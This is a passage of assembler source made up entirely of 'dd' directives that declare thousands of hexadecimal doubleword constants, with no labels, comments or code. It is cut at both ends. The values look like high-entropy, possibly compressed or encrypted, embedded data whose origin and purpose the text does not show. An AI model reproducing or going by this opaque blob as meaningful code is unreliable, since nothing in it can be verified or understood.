0E494F69Bh, 0F7CD8101h dd 0A674BBD3h, 102C9935h, 26319002h, 0E4E9C020h, 0B176505Fh dd 0E66A4BE0h, 25EF58ABh, 2F6CE61Ah, 214ECC7Dh, 185A6871h dd 0DD4BDC8Fh, 102A794Dh, 973BEF7h, 6E17280Ch, 0D8CE8C00h dd 2124A6CCh, 530D0BF5h, 0C13F3F5Bh, 2FF67735h, 0ED58B48Ah dd 6534F97Eh, 1D76FA59h, 2D2CF028h, 686188D9h, 73630CFDh dd 8012B102h, 0F47B7DC9h, 2B9EF2C9h, 2443EC48h, 0E8132D84h dd 0B2525902h, 84E2C08Ah, 0CAA9779Eh, 2331ED03h, 0FDD96771h dd 0C617819Ah, 6ADB07FEh, 13D7E6D8h, 73E337Ch, 651BA83Dh dd 0FED8004Fh, 0E9451223h, 3BF2912Dh, 48A5D9F3h, 0FAD5616Ah dd 0C2010199h, 0C55E736Dh, 0B23DAF2Dh, 0FDC0452Bh, 53FF3044h dd 1F6D788h, 5870BEBAh, 0FC49C378h, 11562D4Dh, 146B5ED9h dd 0EC5CF2A5h, 0EF19645Ah, 7C040235h, 5FEC20E2h, 47440BD6h dd 0D0D3D5B2h, 8AE90EB0h, 6F86B6A5h, 8827AA25h, 8409CB98h dd 9761358h, 0EB900081h, 0B1D98960h, 1CF069BCh, 0F51BD70Ah dd 0F602D266h, 615F1FDEh, 0D3E5D86h, 6AF66710h, 3AD9F410h dd 29E29268h, 0B32A4E0Ch, 33DF07BEh, 0B2463882h, 0F3D43A13h dd 61454082h, 5147E010h, 2A82D5Fh, 35001C70h, 11E60BDEh dd 0B156B5E9h, 20C2654h, 0A0BF8F6Eh, 51C7F941h, 3E5B66E6h dd 4EE9F228h, 342D970Fh, 1E30BB98h, 7D2A38A4h, 0BC4A2033h dd 48B65C58h, 0CC172783h, 50C29E0Bh, 0D883EB07h, 3D4002E1h dd 86AE615Ch, 1E519402h, 81E85925h, 215F1468h, 51B96234h dd 0E7D1517Bh, 9CBCB2Eh, 0C41EC368h, 5F5425ACh, 1370E46h dd 56B937D7h, 0CBE9D84Fh, 0EAB3E660h, 4B865AFh, 0B18A0F34h dd 9E4FA3FAh, 7299E741h, 2D6049A8h, 83DDA806h, 0CF30C0EFh dd 68ED47C5h, 74BF5E0Fh, 0A1662B2Ah, 69A0E900h, 13DBF448h dd 0C17F351h, 82201E3h, 2088D8F9h, 16C5AB48h, 0DAF05FF9h dd 3A94303Fh, 700D6A36h, 4F0C7461h, 0E9C45425h, 0E9DA54FBh dd 39CB63Ah, 234C6855h, 1A7047F2h, 7BD10144h, 7978E5EDh dd 994B4948h, 0D4BF31CAh, 7D598C7Bh, 34F0163Eh, 0CC8B53F8h dd 26A59602h, 5FB8DD12h, 129597D4h, 9FD7294h, 6F3A4B7Bh dd 0ED961D16h, 70E31312h, 2234929Fh, 1DECDFA8h, 5E28525Fh dd 0EC07C68h, 9CE92C94h, 505661B6h, 650E3254h, 60A617A6h dd 20E1824Bh, 88045E2Bh, 0B3280D2Fh, 0A603F509h, 0E684805Fh dd 0F6704874h, 64DA9AE8h, 0D1318233h, 6A69553Bh, 0DEEDCADDh dd 3C7B7535h, 8069E934h, 48F00081h, 0F6720945h, 0D0255F46h dd 0FD3DB5C0h, 0C46704Ch, 2EDE5191h, 0AC30BC5h, 0ABD67906h dd 71CB0C09h, 0AF3788D0h, 436FBF00h, 62BB60F2h, 0FB290B73h dd 0A85D095Ah, 125E58B8h, 0CF603139h, 166D23A1h, 0D068504Dh dd 0C229589Dh, 737600B7h, 9554C30Ch, 20DD1906h, 0D7C84097h dd 88128668h, 0C60151E0h, 5D91700Bh, 1865942Bh, 72881C08h dd 473DE626h, 0FD446712h, 69F2163Eh, 0E9747192h, 427575CDh dd 0F668E5E6h, 102B050h, 2C58C130h, 0B9DCE186h, 25F77234h dd 0E2004ED6h, 0E3D41EEh, 42D07250h, 3E11C813h, 0D9681609h dd 3E8C489Eh, 3736B913h, 0C1E73448h, 7BA9F4C4h, 4B29D798h dd 5817B3F2h, 58CF8B16h, 0D6BB0055h, 0BD2CAE09h, 8B095FE2h dd 4DD2971h, 41BE9E82h, 0DF185725h, 7CB6A466h, 0D27FC01h dd 65E2095Ah, 124E9697h, 0AE5DC430h, 2A687178h, 5AA17AA4h dd 0BD2BC038h, 722C116Fh, 4602771Ah, 0E1F84397h, 812AE90Dh dd 382C8BECh, 25EB80FAh, 90222E7Ah, 4CE70492h, 0FC0115BEh dd 0D50841DFh, 4CB5495h, 0A8530294h, 2E23DCE9h, 68C3C057h dd 389C136Dh, 50F1868h, 21FAA00Fh, 0F43B02Dh, 0D8017ACEh dd 0A07C0794h, 9D108811h, 531271E4h, 3256C5E9h, 832077CAh dd 0F379E92Ah, 2D22BD02h, 0C04D264Bh, 815C728Eh, 84A620BFh dd 0D04F1825h, 0BC4820B3h, 25EAECA1h, 0E32C7A37h, 216997FEh dd 5FD87832h, 0BFC20A83h, 0EA2FA6A2h, 2C9FC057h, 0BC77FE4Ah dd 0F70905A1h, 0F258C3A5h, 0E9EA01C8h, 980D8320h, 0C09540F5h dd 2C03E01Dh, 281698BFh, 81AA871Fh, 2C3FBF5Bh, 6881245Ah dd 2299609Fh, 82545930h, 4025B851h, 9E9BD0CEh, 0CC324986h dd 6920E55Ah, 0F43012CBh, 75FCE85Ah, 0E628520Eh, 0B3042458h dd 71D2C1A1h, 0DA6862F3h, 5167005Ch, 0BF494C9Eh, 28D24AF7h dd 1D41386Dh, 3516C02Ah, 6A4F2505h, 0F510DE0h, 0EBE90D84h dd 3340A997h, 0BA4A3B7Eh dd 0E8F17A88h, 2E349A54h, 19B7E801h, 3EAA9331h, 0B57133D8h dd 1A530389h, 51628A62h, 16F0126Fh, 209AE807h, 7DBA02F1h dd 4A22071Ah, 5D048BDCh, 0C9B1213Fh, 4B136D02h, 2D220D0Dh dd 212EDC26h, 0D9E7C776h, 6841E7F9h, 997B30E5h, 3AA620A9h dd 941053DCh, 0EA12FD62h, 5EB69222h, 0F25C4454h, 897C0F2h dd 5B013A57h, 0D327F2C2h, 50A55416h, 40E60CA4h, 0E95FFA29h dd 0C0CFFE67h, 42800462h, 15408417h, 181AF0A9h, 37A2FE20h dd 0D803EA8h, 0B2FB5A8Eh, 59B5214Bh, 680A8B78h, 0A0532620h dd 0C5D2208Fh, 0DA039BB5h, 689AA19Ah, 914D06BDh, 969376F4h dd 90884C0h, 64B5A820h, 68605DE5h, 5D996FC8h, 409930A7h dd 8089BC03h, 9A17A53h, 24CE1C1h, 64B40685h, 18D00FEAh dd 689B849Ch, 2B9D59CDh, 39B6763Bh, 91E9DA05h, 270BA7C6h dd 2F76EF52h, 73689B59h, 3137860Ch, 5E980BCFh, 0D25E4E85h dd 36B8EF80h, 0A031AA17h, 0B6D021D6h, 16B25BB8h, 6A68F590h dd 0F07F5D27h, 0C38B1035h, 8D1161D4h, 5302EAFAh, 33C2DAE0h dd 4CBA6F05h, 5FBB3FE9h, 14E20521h, 0FB17C17Ah, 5386EE8h dd 0DDBA5445h, 2C764429h, 0F20013BDh, 89C02794h, 5D5A61DEh dd 8309815h, 0B6479E68h, 0B5A463EEh, 8B2B5A4Bh, 0EF835C07h dd 27F7D101h, 0DE09E940h, 18129C54h, 3235BFF1h, 60418B7Ah dd 0CB587A18h, 0BA9B019h, 440F0985h, 41FDC2D8h, 3829E908h dd 95BE0189h, 462EAD0Eh, 0C65EC82Ah, 9BA0528h, 0A4FCE917h dd 8CD3A2FDh, 0F10BF748h, 0F2598168h, 302C9E72h, 97717FC6h dd 5C4D307Bh, 27513B20h, 0F9F84870h, 0FC04B55Fh, 49B1F178h dd 0B5F48860h, 32263E21h, 93D92D51h, 7CA9E967h, 54452535h dd 422DFA35h, 0B5025F60h, 0FE5AC2C6h, 9192D491h, 6C09FB04h dd 1FF2780Eh, 92BAF2Dh, 0EC822901h, 580B428Ch, 0AF515CACh dd 9C0CA607h, 5EF1903Eh, 0C112D9F7h, 0D50105E9h, 703C472Fh dd 5AD4D5E3h, 0D6DE0AE8h, 517D8167h, 324FEE54h, 96931F26h dd 550584Bh, 922740B4h, 8FC15ADEh, 7200F7F1h, 255F5766h dd 0BE110351h, 35484002h, 9616603Bh, 0E5E6C501h, 0B1BA692Ah dd 0BE044BFAh, 0B551005Bh, 70ED80FAh, 59EF2F63h, 30BF72D8h dd 81F24D64h, 3F802FF7h, 163788BCh, 1D30939h, 7B06EBD8h dd 55E2EAFBh, 0E8468025h, 0AB150FE5h, 5AF8892Fh, 0D4BD0561h dd 8205E024h, 7E0B4C8Ch, 29CC5807h, 24850F80h, 9692327Bh dd 0CCE5F587h, 550BB748h, 0E010E95Dh, 1EC6BAF6h, 8907A449h dd 0C3514A53h, 78056885h, 6DCB4CE8h, 566B025Eh, 0FA712DD7h dd 10195889h, 83B09627h, 26C8EE01h, 0F3014F14h, 809AC44h dd 7AA0DC5Eh, 60D18955h, 8390468Eh, 23148CD0h, 4499D194h dd 7E308Fh, 0C05AD1F7h, 801303E6h, 0B8099BC6h, 222045BAh dd 269A8133h, 99E62C01h, 0EBE1386Ah, 62B6EF9h, 4DBF66Ah dd 5207EB0h, 4F26FE4Bh, 5217D9D4h, 0E258E550h, 76C60500h dd 0D02903CEh, 2207A32Dh, 0CF04D396h, 3CE54C4Bh, 0C79F18C0h dd 29852DAEh, 735EAF8h, 6F069D34h, 0F2128h, 0EB805A60h dd 0F7B2522Dh, 694D3FAh, 580AFC4Bh, 0FDBA3BE9h, 7E05358h dd 5B089D4Fh, 5BCFD8C3h, 0ADF6A418h, 2571311Dh, 33E1FABCh dd 0B9B8502Eh, 903F3A41h, 84C9BFA6h, 6F20F27Dh, 4644B54Ah dd 9D4EE798h, 0E10798D2h, 41B2E898h, 78030512h, 80241DACh dd 1650D2E1h, 0CE3D617h, 9B60EFB6h, 166D380Bh, 0B8D8315Eh dd 25AA881Ah, 0B2C17343h, 0D264924Fh, 8F2610D1h, 40830904h dd 62487132h, 25924168h, 62C7E92Fh, 8B656A8h, 0B801A74Ch dd 7D9D6D40h, 92B324E8h, 4BD398D8h, 0F30D1621h, 0C73A7508h dd 0B8BC852h, 2FC9E93Ch, 5ED4D2D8h, 2568FEE0h, 461CB1h dd 0B0A9D47Eh, 8F7720DDh, 0E55F1467h, 23417AF1h, 2BC1B9F3h dd 0ECFB3992h, 266672A9h, 0F4A150C3h, 43D94D2Ch, 141D113h dd 9175A2C6h, 0A7E1D87Eh, 7A777018h, 2F310F4Eh, 0F879DD8Ah dd 4222E909h, 0F8BA6E37h, 0D0924AB1h, 9A768C7Fh, 0F7011816h dd 1084C10h, 4897BB53h, 804231DFh, 624207DAh, 53EBB855h dd 5615C8CCh, 0C7498E40h, 25FA708Ch, 8709ABB5h, 2D860089h dd 4F7A2E4Bh, 0E5FFC75Ch, 6461EED3h, 0CB2EC926h, 10552FECh dd 98505D9Eh, 407505A7h, 81894FB7h, 74ADF768h, 9496FB8Fh dd 74841F96h, 68CF1EF8h, 6FB011EBh, 0C5BF5AE0h, 5AE522F0h dd 778FF176h, 134B04F0h, 9EBE4C7h, 5E2BA2AEh, 468CF953h dd 0FCA3F4Bh, 63350DB9h, 4DA38786h, 2DFC2A98h, 16F750Bh dd 50DA61FAh, 0B5C6A320h, 56963894h, 0DDE95906h, 95BB05C5h dd 0C21CF349h, 2F22272h, 3E8BE383h, 0FF161EF3h, 6757AAE9h dd 4F483EDAh, 0F33904Ah, 68E8C8BEh, 9376513Eh, 0C7B3F364h dd 413DAC50h, 8D403FDCh, 1B5D6CD9h, 80809D89h, 0CDE958C1h dd 0E28E554Eh, 42B8680Bh, 5158EE54h, 6E5809B9h, 730016D5h dd 5DCB4076h, 7AA342B5h, 699180C0h, 0AB22504h, 0BE292185h dd 1C57F103h, 8E2DD22Fh, 0D79FA016h, 2429E1BBh, 0C90A58C5h dd 53D63C42h, 0BAE2D143h, 2F9BD5EAh, 6C8CE6F9h, 9880C42Bh dd 0A3F50B16h, 0CB24747Eh, 39CC3B17h, 48C14039h, 0FD8F703h dd 793C3B83h, 4D89EE22h, 3502E90Eh, 0BB938F45h, 0D7808E4Ah dd 2C6073AEh, 0F0D1899Fh, 0CC32483Dh, 5E520C60h, 9C807CB8h dd 30BD2DB4h, 0EBB71A64h, 76A4CA53h, 0CBFB9723h, 1012185Eh dd 0D7F7530Ah, 65ACB5B5h, 6904D518h, 65497EFBh, 0DE311CFDh dd 92F392h, 0F8FA057h, 0B1934C8Bh, 0CA14059Eh, 56518360h dd 47EF8727h, 4F2D83B5h, 29989373h, 7A205C8h, 0BC709D76h dd 0E4D2667h, 0AF770314h, 0C6FD3B25h, 59713E1Fh, 0AC3312Fh dd 330C36D1h, 40E3F344h, 0E73C802Ah, 0FAF5131Eh, 49D7AEFCh dd 22F8D124h, 4586B8BFh, 6F18D4FBh, 22D42712h, 0F7601803h dd 69CB4E23h, 0AC9EA48Ah, 7002A481h, 5076906Eh, 0E9123AB4h dd 0C0314117h, 1F61565Ah, 5BBB432Bh, 53A06D2Ch, 0FEFA5150h dd 0C0330E95h, 0D9F609B1h, 0A8C13E80h, 0F24D3397h, 0A61A897Fh dd 4F6A408Ah, 12F8B305h, 1EB654F6h, 3E3E294Ah, 0E2B0B946h dd 16B97279h, 1772813Bh, 8174E847h, 0E0A6BDB1h, 4DBA8E1h dd 22E8BA2Ch, 0C25C83D7h, 281C2FF0h, 8097E977h, 8C5B848h dd 0F70600B4h, 242A35D0h, 5045A8Ch, 56853373h, 41E260BAh dd 0C954A4C3h, 0C637E9EEh, 543069A5h, 0B517CC1h, 6DE66856h dd 0EF8343D9h, 0C32CA23Bh, 42AE5CFEh, 0CC515A2Dh, 28EB5CE5h dd 0A51CE91Fh, 260FF8Dh, 5206604Ch, 0D440C631h, 5603BEE6h dd 0EEC12572h, 0A5F6C805h, 1213882h, 7B1AF0AFh, 0CB0D6F9h dd 5A354DE0h, 0E9198162h, 25417FF8h, 5773FBEEh, 5EF9930h dd 7D1F7AA1h, 5D19429h, 0F3575E08h, 0B2EE49F1h, 76FE425Ch dd 67E9C1FBh, 3C557221h, 128E104Dh, 45526827h, 3D58ABF4h dd 5B51817Ch, 0BC800D63h, 4C2F29B8h, 5A4AD709h, 798182F0h dd 157112CFh, 60FDA138h, 31024B22h, 0B3E95044h, 0F1050BAAh dd 5E2990BFh, 7C654B68h, 4CC8B86Fh, 5FC809EAh, 3C0364E1h dd 3E86AACh, 529458E9h, 76C5BD00h, 8170DAh, 57982FEDh dd 5DEF299Fh, 17F742E7h, 564A51D9h, 9CE012Dh, 0A08759CAh dd 61062249h, 0D6E3C143h, 2D35C241h, 0E89F5089h, 5B9A894Fh dd 9CC6E34Bh, 25FA4EEFh, 9D017EE9h, 0BBC82159h, 5A4E7C17h dd 49127A5Ah, 0B0315EC4h dd 56B47F9h, 85215D6Fh, 7344B932h, 9F024641h, 0A0397F1Dh dd 3AEB3566h, 5D3435CDh, 0BD9B928h, 116E897Dh, 0A2665C2Fh dd 2B5D3CEEh, 0E95085D6h, 34094A9Fh, 859B13C3h, 0E0E9F18Ah dd 189D225Ch, 4CFE6B23h, 9720B8C9h, 5B375F4Ch, 0E9C574B2h dd 0BAD35275h, 6B0E7468h, 0A33422A6h, 700B877h, 0CD051ECCh dd 947E57Ch, 9E66692Dh, 0E29F3480h, 113F3ECh, 0BD0458C2h dd 0BF00F2A5h, 44A70AC9h, 3C7DE09Dh, 0BB5835F5h, 0D7C4BC5Eh dd 0E9853BF2h, 0F69EA001h, 33F0DE5Ah, 0E67DE680h, 3C6B76CEh dd 1EE2ADC6h, 8148EDE9h, 642268ACh, 53D32676h, 55CF4010h dd 0BD3C0123h, 2A24127Dh, 4DFA0BBFh, 56BB0802h, 98F414F5h dd 0FD712151h, 2CED8208h, 7C5B07D1h, 0CACEBE21h, 93091D3Ch dd 6C0A0C1h, 0BB8E740h, 22BD6BDCh, 3F0345ABh, 0B1C2E905h dd 578B0151h, 7C289654h, 0D7BF5853h, 9BF6B0D3h, 1FF6CD4Fh dd 0DE3DF710h, 0E57D730Bh, 8C581721h, 0E895052Dh, 5EB6E92Dh dd 97B6E712h, 0C94A4C8Bh, 33CD2A48h, 0B264526Ah, 0A35792C1h dd 0CDD05AB9h, 0F749A804h, 2596B96Bh, 5E0705F9h, 30A6E5B8h dd 4772F702h, 7596E97Ah, 0FEB4220h, 747BB36Ah, 1B9D4CEAh dd 0FC0BCB33h, 6D3A44EEh, 0E38101EEh, 45D9143Ah, 0D2ED85FDh dd 0E9129C6Ah, 1C0AF42Dh, 0F8ECB52Fh, 1761D002h, 71D8F74Ch dd 7BDB2D89h, 797E168Bh, 0D0C192E5h, 0B9EB2824h, 0C7313617h dd 0C45FFAE8h, 0EE68EB32h, 0E92566E9h, 93B0275Dh, 0F1C5E060h dd 4AE52D20h, 53E70F6Bh, 1542CCEBh, 0ABC83EDBh, 5A271210h dd 8CA87A47h, 9C8CE722h, 8F5D4371h, 4A95ED46h, 17B38014h dd 44A6E36Fh, 9E307358h, 58F4C2B5h, 785B1225h, 0D0525E57h dd 4FDF69Dh, 0E72C732Ch, 35B2803h, 69D4101Dh, 0F05001Ah dd 89E120F2h, 0B6585BC1h, 10924C52h, 275BC667h, 557BA291h dd 19971E74h, 955C39F0h, 29FBB5Bh, 5DE245CAh, 0E4CFFF48h dd 67884078h, 121590A9h, 6D13157h, 79ED4E67h, 0D45C4F0Fh dd 49E6447Dh, 25789EBAh, 6445F830h, 0AB013C9Fh, 61557ED2h dd 404B91Fh, 0BB4D2EA9h, 0BC7589Ch, 144A9465h, 0D8989C43h dd 0D60BBE56h, 841E694Dh, 22DC9A1Eh, 8C565EFEh, 5E889F23h dd 7E250048h, 531F337h, 0A3004E1Ch, 0B730D46h, 2A683491h dd 20A8658Dh, 0D380043Eh, 0CB3D5B60h, 0E39E96BBh, 86423ADDh dd 0B6B4573Dh, 64958376h, 0E94BB79Eh, 65680813h, 9DBB3BCCh dd 12D8F791h, 52EA745Bh, 3321EEF8h, 0F5B88013h, 353A0773h dd 7E7A590Bh, 0A1F6C00Ch, 54495C6h, 0EC03C725h, 0CB681728h dd 5A15282Dh, 8BA2CE5Eh, 70925C3Ch, 0C992123h, 20263302h dd 5FCC8383h, 5EC3E017h, 0D969BF99h, 2C372A97h, 40FACFABh dd 2B71E3F7h, 0BE5B2D01h, 0E6734EFBh, 0D1FDDA71h, 43A3948Bh dd 0F0088E73h, 0DF8425E4h, 0F374EF87h, 0C773490h, 3676696Ah dd 24483E57h, 0A52038E9h, 0F6C6718Ch, 754E6E0Bh, 0E23C0055h dd 0F876D94Dh, 25AC77EDh, 0E7D631F5h, 690BF33Ch, 76D44BAh dd 0D925F3BBh, 3C5E20F4h, 25BE950h, 1B0A680Bh, 4DC08D9Ah dd 72D2CB9h, 2C7AD118h, 6856C0AEh, 38BF5F61h, 82261B4Fh dd 0F20448F0h, 0A152E79Fh, 611E4280h, 29310260h, 0A417E9D5h dd 68DB1857h, 0FD3E574Dh, 0E09F855Bh, 3009055Bh, 0CC073815h dd 3C33F982h, 0D7E2AF2Fh, 0A8CF6140h, 4E478F91h, 0D2B0CDC5h dd 40890468h, 0AE5E336Eh, 0F9933404h, 1F5B0912h, 19BEC0C0h dd 6C727112h, 0D6E69DD0h, 0C8E6B85Eh, 0CB201E26h, 7B0F780Eh dd 4988652Bh, 0E9577A90h, 89B360DDh, 84E35CC7h, 4D518E58h dd 0C3311632h, 179F16E8h, 5A53F011h, 0CE78809Dh, 50B72A8Eh dd 0DDCA35h, 0D707316h, 7AF2788Fh, 0FE400501h, 14E9CA17h dd 411C1E6Bh, 3935600Dh, 0B16C702Ah, 0BA8AC697h, 987E3385h dd 76F8F799h, 0DA975387h, 13A0FA0h, 0EFC04555h, 15AC90B1h dd 73FB292Fh, 846813FAh, 0EFB78039h, 0AC5D6F6h, 0EE812CFDh dd 5AD104F0h, 5351C4h, 0E7D046B7h, 0E93FF780h, 0C384372Ah dd 4E0F1139h, 67E3EB80h, 0EC7B7155h, 1A8400F3h, 0DD893286h dd 0EE5A4CE9h, 24F1878Ch, 3A7D5664h, 0BB0DF5B4h, 49FDA912h dd 32B22318h, 6B0D1B6h, 9096F06Dh, 5EBCF644h, 663BB40Dh dd 0FD1243A0h, 0E5805BB3h, 7A90ED80h, 5977E8E0h, 60EEB33h dd 0D7C3E993h, 0B45098C3h, 7EECFC8Ah, 0E1E40295h, 58E9D4F6h dd 0EBB6594Ah, 903D4720h, 14852065h, 758B6812h, 4088A875h dd 59A64093h, 25FA490h, 321016A6h, 0FE3751ADh, 642F0D7Ch dd 0D6F8A47Eh, 0A8FBFC4Dh, 1236B95Ch, 0BAC3D130h, 0CFFE0082h dd 0C4E71C80h, 1003DAC0h, 6336C057h, 0BFBF49E9h, 0F63CC958h dd 0EAC8ECC1h, 0F9AD0EBEh, 980DB4E7h, 553C50DAh, 0F412EB58h dd 687F132h, 503B2F68h, 0A32576C6h, 53051079h, 428C02BBh dd 0E3C12607h, 2C0939E1h, 48894AF9h, 0B4C8882Ah, 8B34DF59h dd 5C368B29h, 0BD1144D6h, 734F7570h, 53B88B8Ch, 0B605DE02h dd 0B3F3887Fh, 0BD523CE1h, 5AF5A7DEh, 0A1949DB4h, 70F50684h dd 0E92EE87Eh, 5A8FB76Ah, 2470EF5Bh, 3190DBCBh, 2768F3C9h dd 4A5A520Bh, 397E7764h, 1D12CDE8h, 0C263EDA0h, 90D3665Ch dd 8281CCEEh, 0E20B91FEh, 0A74BFE07h, 0D2509360h, 0BD40B5B6h dd 9EE0C06h, 5DE8093Dh, 4747B585h, 0F1E5C1C2h, 2B8E890Fh dd 0DA2AB4D2h, 0F7F764EDh, 1747E65Eh, 0E45A9D78h, 988C7713h dd 2A58BE7Ah, 2D8084F2h, 3505F05h, 580C57FBh, 27600588h dd 4F28F148h, 7A3E74D0h, 877E5AD9h, 3108BA5Bh, 50AEE7ACh dd 0D5F7EAF1h, 2408DAh, 0E9014DE2h, 3F05957h, 0C6CBBA4Ch dd 0BA60D2CAh, 4E16CAEAh, 0B4022998h, 0C49EDFE9h, 3CE42A3Bh dd 204738E5h, 10A44609h, 2420EFECh, 0E18013EAh, 0CD38C18Fh dd 0C299AA9Ah, 61A4F9Fh, 4F3F6968h, 5AC0820h, 3953F02Dh dd 5E7EC066h, 14219B46h, 30626D29h, 0FDA48C72h, 4A5EF327h dd 44CDE234h, 9BC82455h, 0D906AFDFh, 9650ECE7h, 98BF5FAEh dd 4D20E986h, 0C03B13AFh, 19110698h, 0F282809Bh, 323C49F3h dd 71080D05h, 2408FB2Ch, 245C25F3h, 3EA00408h, 43C48213h dd 8AEE8B6Eh, 0B40605C8h, 52C1400Fh, 2B396EBAh, 39DB5C02h dd 69E9C684h, 9373EF93h, 787C50D3h, 8A805E54h, 5F125C76h dd 5304F2A6h, 0E2297168h, 0B4DD94FAh, 0C36260EAh, 0B65C2FE9h dd 0F9B5A740h, 63FD7C94h, 22B068C3h, 0D0342512h, 8AF88ACDh dd 0DF98950Fh, 37CE0674h, 5B10B117h, 0A9294B96h, 0C224C73Dh dd 38688454h, 0C601A83Fh, 244751A8h, 0BDB42F4Fh, 0D80DB693h dd 30296831h, 0B6161D2Fh, 0BDE8AA8h, 54F62F90h, 9B7F3C9h dd 9C9A140Bh, 0F8F45963h, 0F84B2D27h, 21791F51h, 0E3960B77h dd 0A5893D76h, 496CF4D3h, 442C6024h, 24BF7F6Ch, 8C43C26Bh dd 59122C51h, 0E625BE75h, 4C01B9FDh, 146395Bh, 668D6A6Ch dd 0F05D0C02h, 2A68128Eh, 0ED779D59h, 0FDB1001h, 0A6E5B8Eh dd 0EE4357h, 195A1E3Bh, 0B297CEE9h, 0C04A1807h, 565B8083h dd 0CBFE8939h, 0BAF91517h, 0E9555905h, 41F5F13Ah, 2BDAE097h dd 5827DEA3h, 0F1524C54h, 0BEE24996h, 58005594h, 12BF5756h dd 23F6D71h, 34091FBEh, 4262E931h, 2F6145B2h, 8B02694Fh dd 958E347h, 0ED5BA444h, 46896D0Fh, 29252602h, 820F85Eh dd 21E5F60h, 979C0308h, 657CBE09h, 0C11E802Dh, 12310AE8h dd 0BEE168C8h, 0DEB98335h dd 52971737h, 12D5EDBCh, 58847C28h, 0B69A8797h, 5EFCC138h dd 28CFA3E2h, 6381536Bh, 5CD78860h, 0F7058024h, 8B1E998h dd 0E0C098D2h, 0B5E4A226h, 5897A3C4h, 55E697A6h, 9038C320h dd 2DD263B7h, 3C178F66h, 36657E10h, 0EFB68957h, 835BB997h dd 163CFC68h, 91497CE5h, 6F91D9C3h, 0CA56B67h, 0FB9B5B0h dd 37D04061h, 4DC9FA4Bh, 3BCC3AECh, 0C494BD1Fh, 7B960620h dd 20C31E80h, 21DE9BD5h, 247DACF9h, 45F85BD4h, 2D4B2AB2h dd 257AD1A9h, 74DBAEE3h, 6C2B9EC2h, 9B692F70h, 98226693h dd 2C62717h, 184B9EF1h, 997D6567h, 0A618BC83h, 21EBE9C0h dd 26148D33h, 144FEEFh, 45B6525Ch, 2B6DC668h, 76E9DE30h dd 0BA42A8D2h, 72092E31h, 690F8031h, 0D2F72918h, 0FE90DAE4h dd 6B825730h, 2E40C7EAh, 10DE32F4h, 8BB901BCh, 895A584Dh dd 0A50F052Bh, 0BA4D02D4h, 8760F677h, 66970114h, 58ED00B0h dd 0CD81150Eh, 0C8731E4Ah, 94F7E19Fh, 7A528D2Eh, 28EF21C5h dd 21C75CEFh, 6213E9F7h, 0C27502F2h, 6EA81941h, 8A0EEF4h dd 7CC01CC1h, 928853E1h, 0F022324h, 489C8288h, 82A504BDh dd 3C60C260h, 78215527h, 425004DAh, 87E5C162h, 0D9C83473h dd 0FCC944DDh, 535E2F5Ch, 0D95E69E5h, 0CBF1FB44h, 0E3E8FF55h dd 5BBA8050h, 0F6FA310Ah, 9793A49Eh, 48843F16h, 16531B25h dd 3F2C3300h, 581639Ah, 0E10F10C9h, 2F3CC149h, 0E9720780h dd 95CF2A3h, 690A53E7h, 0BF48660Fh, 12EAB924h, 0EE95483h dd 0F4204FF5h, 0A94153E3h, 7913C232h, 603DBE2Dh, 2E4C1429h dd 0C2C9D349h, 0E0DCBEE6h, 0D91D1258h, 600FB55Bh, 84942C7Ch dd 0F8514225h, 138D0886h, 0C35011Ch, 6ECC2C7Fh, 9A910AC5h dd 9A37E78Ah, 0FB7E4A19h, 0AB5DC4CAh, 2D683C3Dh, 827FD136h dd 28437C98h, 0E9055256h, 88A3386Bh, 428F6809h, 878CEAF9h dd 95DA632Fh, 69520CA2h, 798E059h, 4CA7E9ADh, 5CCAAEDFh dd 4B212D23h, 486F095Dh, 3627E9A2h, 0A7547B9Eh, 0EEB38170h dd 41DC6806h, 0C362563h, 0A4F66F2h, 4CA7B1A1h, 5A9F0256h dd 90F1F212h, 0E13D0C88h, 8739FB28h, 0B5CE3DD1h, 9C015103h dd 2D205566h, 5D6527EDh, 78BF2D6Eh, 0CB01C1D4h, 2BF3E9h dd 0CB02D54h, 55A7EB1h, 917F45A5h, 5591E965h, 0DFD5FDEFh dd 0F2F84E49h, 0C97A904Ah, 42D6D129h, 2090F1Ch, 56F44001h dd 0D2DA5E68h, 38F42942h, 0BC89AB89h, 496298D3h, 5D2D029Dh dd 0D4480CD9h, 0C229764Bh, 131AD4E2h, 4337E187h, 6F3C893Eh dd 0B62CAF9Ch, 59E9848Dh, 6A5AC9F7h, 0CBAEE0C4h, 6892503Fh dd 0CF758331h, 0C05A1274h, 4D70B2Eh, 0BE2FDE85h, 0C1819BDCh dd 3A67395Ah, 0ED16E72h, 2C3F08CAh, 0BD9EAD8Fh, 0F0DC133Dh dd 45328BBh, 8104CB74h, 0F65E2CE1h, 0F3962CC1h, 0A87E3588h dd 7A0F4817h, 0F2A4C407h, 0D7168AADh, 0ED239DE5h, 4E276C2Fh dd 8E10F1B8h, 58B9024Ch, 60627838h, 9488ACD9h, 472C8B9Dh dd 3C7F3549h, 0F6F05E5Fh, 4EABFA7Eh, 0F7DDC006h, 0C29C52D3h dd 18ECE941h, 49F2F58Eh, 0B31F1127h, 9776EF82h, 6D2EF103h dd 0C7C1294Ch, 0BE35082Ah, 3CE77384h, 8D100A52h, 10B701B5h dd 0E7C0D7F6h, 8943FE88h, 0EAF48003h, 7F01CA53h, 0E8E07FA4h dd 0BF57C04Ch, 5B55EAFh, 0E9F8297Eh, 1046A932h, 6604BB13h dd 0BE0A9268h, 6415EC22h, 2E2C3EDEh, 0A4B35303h, 93F2D828h dd 40D53DCh, 283A12FCh, 5900B1E8h, 0F186C9FEh, 29E9E630h dd 0BAE4C1Fh, 2DBB622h, 480BD4A4h, 584D5AC8h, 0AF2C2B05h dd 77BD4053h, 5F17422Ch, 4B13EA89h, 0CA808D42h, 5ADD6A47h dd 0D3EC200Ah, 4A626876h, 56179D15h, 7EF6E999h, 420A8B69h dd 0C2EDD681h, 2244D958h, 1C5801Ch, 848FE5C9h, 9DFAD224h dd 339E2061h, 6A8EA1A9h, 0B4501700h, 73ECC039h, 0E8E45A02h dd 0FE7909D0h, 112A84CCh, 7A5BA212h, 5B9DBC30h, 7AFA71F2h dd 16B84A2Ah, 0F48DE997h, 7EEFD144h, 67666802h, 958B81A5h dd 3913F0AFh, 0B7D1A740h, 536CAA80h, 0F0C31D7h, 6113D983h dd 0A18009F3h, 0ECF010E9h, 270FADB0h, 0E00ADC34h, 0FF37FEEDh dd 0B0ECB71Fh, 2B04CB72h, 35E95D5Bh, 2E17D3F9h, 5ABABD78h dd 153C02D7h, 2A35075Ah, 516E5E17h, 0A6F80243h, 1D07ED56h dd 0BBF0FD3Eh, 27AF48E1h, 36F02955h, 5DC410E0h, 9AEB44CBh dd 9FA25B42h, 